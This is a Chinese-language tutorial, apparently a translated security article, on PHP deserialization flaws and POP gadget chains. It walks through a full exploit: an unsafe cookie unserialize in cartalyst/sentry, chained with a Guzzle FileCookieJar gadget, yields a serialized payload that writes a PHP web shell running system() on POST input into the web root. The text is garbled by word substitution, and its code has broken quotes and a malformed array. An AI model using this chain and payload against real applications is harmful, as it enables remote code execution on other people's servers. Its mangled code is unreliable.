翻译:hac425

预估稿费:200RMB(不服你也来投稿啊!

投稿办法:发送邮件至linwei#360.cn,或上岸网页版在线投稿

php序列化漏洞PHP反序列化破绽成因及破绽发掘技能与案例 jQuery

一、序列化和反序列化

序列化和反序列化的目的是使得程序间传输工具会更加方便。
序列化是将工具转换为字符串以便存储传输的一种办法。
而反序列化恰好便是序列化的逆过程,反序列化会将字符串转换为工具供程序利用。
在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。
反序列化本身并不危险,但是如果反序列化时,传入反序列化函数的参数可以被用户掌握那将会是一件非常危险的事情。
不屈安的进行反序列化造成的危害只有你想不到,没有他做不到,是的,没错。

序列化和反序列化的事理已经有很多文章了,这里就不赘述了。
PHP的类有很多的 '魔术方法' ,比如:

12345678910__construct(), __destruct()__call(), __callStatic()__get(), __set()__isset(), __unset()__sleep(), __wakeup()__toString()__invoke()__set_state()__clone()__debugInfo()

这么多的魔术方法中我们所须要关注的方法也便是__destruct() 和 __wakeup() 方法.这两个方法中前者是在工具被销毁时程序会自动调用,后者是在类工具被反序列化时被调用.以是这两个方法是在 工具反序列化一贯到程序实行完毕这全体过程中,必定会被调用的方法,如果在这两个函数中有一些危险的动作,并且能够被我们所利用,那么漏洞并涌现了。

二、反序列漏洞的利用思路

理论

在反序列化中,我们所能掌握的数据便是工具中的各个属性值,以是在PHP的反序列化有一种漏洞利用方法叫做 \"大众面向属性编程\"大众 ,即 POP( Property Oriented Programming)。
和二进制漏洞中常用的ROP技能类似。
在ROP中我们每每须要一段初始化gadgets来开始我们的全体利用过程,然后连续调用其他gadgets。
在PHP反序列化漏洞利用技能POP中,对应的初始化gadgets便是__wakeup() 或者是__destruct() 方法, 在最空想的情形下能够实现漏洞利用的点就在这两个函数中,但每每我们须要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。
下面列举些在跟进其函数调用过程中须要关注一些很有代价的函数。

如果在跟进程序过程中创造这些函数就要打起精神,一旦这些函数的参数我们能够掌握,就有可能涌现高危漏洞.

Demo

所利用的代码

DemoPopChain.php

1234567891011<?php class DemoPopChain{ private $data = “bar\n”; private $filename = ‘/tmp/foo’; public function __wakeup(){ $this->save($this->filename); } public function save($filename){ file_put_contents($filename, $this->data); }?>

unserialize.php

1234<?php require(‘./DemoPopChain.php’); unserialize(file_get_contents(‘./serialized.txt));?>

这是一个很大略的具有反序列漏洞的代码,程序从serialized.txt文件中读取须要进行反序列化的字符串。
这个我们可控。
同时该文件还定义了一个 DemoPopChain 类,并且该类实现了 __wakeup 函数,然后在该函数中,又调用了save函数,其参数为 类工具的filename属性值,然后在 save函数中调用了 file_put_contents 函数,该函数的两个参数分别为从save函数中传下来的 filename属性值 和 该工具的data属性值。
又由于在反序列化的过程中被反序列化的工具的属性值是我们可控的,于是我们就通过对函数的嵌套调用和工具属性值的利用得到了一个 任意文件写入任意内容的漏洞.这便是所谓的POP。
便是关注全体函数的调用过程中参数的通报情形,找到可利用的点,这和一样平常的Web漏洞没什么差异,只是可掌握的值有直接通报给程序的参数转变为了 工具中的属性值。

三、现实中查找反序列化漏洞及布局exploit的方法

前置知识

PHP的 unserialize() 函数只能反序列化在当出路序高下文中已经被定义过的类.在传统的PHP中你须要通过利用一大串的include() 或者 require()来包含所需的类定义文件。
于是后来涌现了 autoloading 技能,他可以自动导入须要利用的类,再也不须要程序员不断地复制粘贴 那些include代码了。
这种技能同时也方便了我们的漏洞利用.由于在我们找到一个反序列化点的时候我们所能利用的类就多了,那么实现漏洞利用的可能性也就更加高。

还有一个东西要提一下,那便是Composer,这是一个php的包管理工具,同时他还能自动导入以是依赖库中定义的类。
这样一来 unserialize() 函数也就能利用所有依赖库中的类了,攻击面又增大不少。

1.Composer配置的依赖库存储在vendor目录下

2.如果要利用Composer的自动类加载机制,只须要在php文件的开头加上 require __DIR__ . '/vendor/autoload.php';

漏洞创造技巧

默认情形下 Composer 会从 Packagist下载包,那么我们可以通过审计这些包来找到可利用的 POP链。

找PHP链的基本思路.

1.在各大盛行的包中搜索 __wakeup() 和 __destruct() 函数.

2.追踪调用过程

3.手工布局 并验证 POP 链

4.开拓一个运用利用该库和自动加载机制,来测试exploit.

布局exploit的思路

1.探求可能存在漏洞的运用

2.在他所利用的库中探求 POP gadgets

3.在虚拟机中安装这些库,将找到的POP链工具序列化,在反序列化测试payload

4.将序列化之后的payload发送到有漏洞web运用中进行测试.

Example

1. 探求可能存在漏洞的运用: cartalyst/sentry

漏洞代码: /src/Cartalyst/Sentry/Cookies/NativeCookie.php

12345678 ... public function getCookie() { ... return unserialize($_COOKIE[$this->getKey()]); ... }}

这里从 cookie中获取了值,然后直接将他序列化.

2.程序利用的库中的POP Gadgets: guzzlehttp/guzzle

找Gadgets的最好的一个地方便是composer.json文件,他写明了程序须要利用的库.

12345678 { \"大众require\"大众: { \"大众cartalyst/sentry\公众: \"大众2.1.5\"大众, \"大众illuminate/database\公众: \公众4.0.\"大众, \"大众guzzlehttp/guzzle\"大众: \公众6.0.2\"大众, \"大众swiftmailer/swiftmailer\"大众: \公众5.4.1\"大众 }}

a.从git repo下载这些库

b.在个中搜索__wakeup() 和 __destruct() 函数

/guzzle/src/Cookie/FileCookieJar.php

12345678namespace GuzzleHttp\Cookie;class FileCookieJar extends CookieJar ... public function __destruct() { $this->save($this->filename); } ...

这里利用类工具的filename属性值作为参数传入了save函数.我们来看看save函数详细实现.

FileCookieJar->save()

12345678910111213public function save($filename){$json = [];foreach ($this as $cookie) { / @var SetCookie $cookie / if ($cookie->getExpires() && !$cookie->getDiscard()) { $json[] = $cookie->toArray(); } }if (false === file_put_contents($filename, json_encode($json))) { throw new \RuntimeException(\"大众Unable to save file {$filename}\公众); }}

可以看到我们传入的参数末了是直接被作为要写入内容的文件的文件名.这下文件名可控了,如果我们再能够掌握文件的内容就能实现getshell了.通过代码可以创造文件的内容为上面一层循环中来得到的数组经由json编码后得到的.而数组中的内容为 $cookie->toArray() ,那么我们得去找到 $cookie工具是在哪定义的来确定他返回的值是什么,以及是否可利用.还有一点,我们还须要过掉那个判断才能给 json 数组赋值.以是我们须要关注的有三个点.

123$cookie->getExpires()!$cookie->getDiscard()$json[] = $cookie->toArray()

我们并不知道$cookie 详细是什么类,我们可以通过搜索函数名,来定位这个类.通过这样定位到了SetCookie类.其代码如下.

1234567891011121314namespace GuzzleHttp\Cookie;class SetCookie ... public function toArray(){ return $this->data; } ... public function getExpires(){ return $this->data['Expires']; } ... public function getDiscard(){ return $this->data['Discard']; }

可以看到那三个方法只是大略的返回了data数组的特定键值.

3.搭建环境进行poc测试

首先在虚拟机里创建这样一个composer.json文件来安装供应POP gadgets的库.

12345{ \"大众require\"大众: { \"大众guzzlehttp/guzzle\公众: \"大众6.0.2\公众 }}

之后利用这个文件安装库

然后利用这个库,来布局反序列化的payload

123456789101112<?php require __DIR__ . '/vendor/autoload.php'; use GuzzleHttp\Cookie\FileCookieJar; use GuzzleHttp\Cookie\SetCookie; $obj = new FileCookieJar('/var/www/html/shell.php'); $payload = '<?php echo system($_POST[\'poc\']); ?>'; $obj->setCookie(new SetCookie([ 'Name' => 'foo', 'Value' 'Domain' => $payload, => 'bar', 'Expires' => time()])); file_put_contents('./built_payload_poc', serialize($obj));

运行这个文件得到payload

123# php build_payload.php# cat built_payload_pocO:31:\"大众GuzzleHttp\Cookie\FileCookieJar\公众:3:{s:41:\"大众GuzzleHttp\Cookie\FileCookieJarfilename\"大众;s:23:\"大众/var/www/html/shell.php\公众;s:36:\"大众GuzzleHttp\Cookie\CookieJarcookies\"大众;a:1:{i:1;O:27:\公众GuzzleHttp\Cookie\SetCookie\"大众:1:{s:33:\公众GuzzleHttp\Cookie\SetCookiedata\"大众;a:9:{s:4:\"大众Name\公众;s:3:\"大众foo\"大众;s:5:\公众Value\"大众;s:3:\"大众bar\公众;s:6:\"大众Domain\"大众;s:36:\公众<?php echo system($_POST['poc']);?>\公众;s:4:\"大众Path\"大众;s:1:\"大众/\"大众;s:7:\公众Max-Age\"大众;N;s:7:\"大众Expires\公众;i:1450225029;s:6:\公众Secure\公众;b:0;s:7:\公众Discard\公众;b:0;s:8:\"大众HttpOnly\"大众;b:0;}}}s:39:\"大众GuzzleHttp\Cookie\CookieJarstrictMode\"大众;N;}

现在payload已经天生,我们在创建一个文件来测试这个payload的结果.

123<?php require __DIR__ . '/vendor/autoload.php'; unserialize(file_get_contents(\"大众./built_payload_poc\"大众));

这个文件的内容很大略,便是把我们刚刚天生的payload反序列化.来看看效果

成功写入一个shell.

4.探求利用了这个漏洞库并且有反序列化操作的程序这里是cartalyst/sentry,然后拿POC去打就好.

演示:

首先网站目录没有shell.php文件

让我们将cartalyst_sentry的cookie值设为经由url编码的反序列化payload,然后发送到运用中去.

现在shell.php已经涌现了